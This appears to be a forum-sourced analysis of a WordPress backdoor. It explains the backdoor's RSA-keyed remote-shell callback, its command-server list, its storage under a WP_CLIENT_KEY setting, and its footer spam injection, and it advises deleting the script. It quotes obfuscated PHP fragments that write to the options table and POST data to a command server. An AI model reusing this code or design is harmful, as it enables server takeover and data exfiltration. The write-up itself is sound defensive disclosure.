According to this forum post:
Basically, it is a remote shell callback that uses public key encryption to only allow to hacker to run code on your server. It generates a per-install RSA key pair, uploads it to the command server (which it has a preseeded list of, but can dynamically update from other infected hosts to avoid being shut down) using an embedded key and also sends through a list of capabilities (eval/exec enabled, server information) and emails it through to a list of emails found in the file.
It's using Wordpress's config system to store its data, so have a look in your database for a setting key called WP_CLIENT_KEY which will look like a bunch of garbled text.
Once active, the exploit will take a list of commands to eval on the server - probably more shells or exploits, and also inject strings into the page footer. These strings are probably blackhat SEO spam, but it also injects a list of command and control servers that it is on contact with aswell - so any other infected sites will be using your server to find others.
As I noted in the comments, the script will update and store data in the WP database:
$AKorMlJxhsFuVmuppepc->setQuery("INSERT INTO #__options(option_name, value) values ('{$zgWyMIVCeKwSmjusORA}' , '{$ytnxJjQqCvGdNRBKCigc}')");
...
Which as the forum post pointed out, is for the script's own access. The script also sends data, presumably the public key, to a specified server through a shell POST
request:
curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_URL, "http://$gXNjWLFkUQOugyREMXKv");
curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_FOLLOWLOCATION, true);
if (isset($WbKPQMoSbMZkXUeYKXRI)) {
curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_POSTFIELDS, $WbKPQMoSbMZkXUeYKXRI);
}
Regardless of the exact purpose of the script, you should delete all references of it, and attempt to rid yourself of the script completely.